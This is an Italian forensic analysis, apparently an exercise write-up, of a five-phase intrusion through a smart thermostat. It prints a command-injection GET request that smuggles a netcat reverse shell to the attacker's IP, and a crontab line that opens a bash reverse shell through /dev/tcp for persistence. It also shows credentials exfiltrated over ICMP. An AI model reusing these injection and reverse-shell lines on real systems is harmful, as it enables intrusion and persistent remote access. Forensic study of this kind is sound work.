Analisi Tecnica Forense

L'attacco si è articolato in cinque fasi distinte:

Fase 1: Compromissione Iniziale e Reverse Shell

Timestamp: 14:05:10.554321 L'attaccante (IP 45.33.22.11) ha inviato una richiesta HTTP GET manipolata verso il termostato smart (192.168.20.50):
GET /api/system/set_temp?val=24;%20/bin/nc%20-e%20/bin/bash%2045.33.22.11%204444

Dettaglio Tecnico: È stata utilizzata una **Command Injection** tramite l'uso del punto e virgola (;). Questo ha forzato il termostato ad aprire una **Reverse Shell** tramite Netcat (nc) sulla porta 4444, contattando direttamente il server dell'attaccante. Nonostante il server web abbia risposto con un errore 500 Internal Server Error, il comando malevolo è stato correttamente eseguito dal sistema operativo sottostante.

Fase 2: Ricognizione della Rete Interna

Timestamp: 14:06:00.100 Il termostato ha iniziato a scansionare la rete interna. I log evidenziano tentativi di connessione verso la porta **445 (SMB/Windows)** su diversi indirizzi IP:

14:06:00.100 ... > 192.168.10.1.445: Flags [S]

14:06:00.102 ... > 192.168.10.2.445: Flags [S]

Dettaglio Tecnico: Il flag [S] (SYN) indica il tentativo di stabilire una connessione (handshake). Mentre alcune macchine hanno risposto con [R.] (Reset), indicando porte chiuse, l'attaccante stava attivamente mappando la rete alla ricerca di target vulnerabili.

Fase 3: Movimento Laterale via SSH

Timestamp: 14:06:55.200 Il termostato ha individuato una porta aperta sul server 192.168.10.5 sulla porta **22 (SSH)**. Il server ha risposto con Flags [S.], completando correttamente l'handshake TCP.

14:10:00.505 ... SSH-2.0-OpenSSH_8.2p1

Dettaglio Tecnico: L'attaccante è riuscito a stabilire una sessione SSH. Il dump del traffico mostra lo scambio della versione del software, confermando l'avvenuta connessione e l'accesso non autorizzato al server.

Fase 4: Persistenza tramite Cron Job malevolo

Timestamp: 14:12:00.300 Il termostato ha scaricato uno script da un server esterno: GET /updates/daily_check.sh HTTP/1.1
Il payload del file daily_check.sh conteneva istruzioni per modificare i task pianificati di sistema:
echo "0 3 * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/45.33.22.11/9999 0>&1'" >> /etc/crontab

Dettaglio Tecnico: È stata creata una **backdoor pianificata**. Ogni notte alle 03:00, il server compromesso contatterà automaticamente l'attaccante. Questo garantisce la **persistenza** dell'intrusione, permettendo l'accesso anche nel caso in cui le password venissero cambiate.

Fase 5: Esfiltrazione dei Dati tramite ICMP Tunneling

Timestamp: 14:15:20.111 Ha avuto luogo l'esfiltrazione finale dei dati. L'attaccante ha utilizzato pacchetti **ICMP (Ping)** per trasportare le informazioni all'esterno, una tecnica utilizzata per eludere i firewall che solitamente monitorano solo il traffico TCP/UDP.
Analizzando il payload dei pacchetti ICMP, sono state identificate le seguenti stringhe:

0x0020: ... ET_DATA: Usr=adm

0x0030: ... in|Pwd=Sup3rS3cr

Analisi: Sono state rubate le credenziali amministrative:

Username: admin

Password: Sup3rS3cr3t!!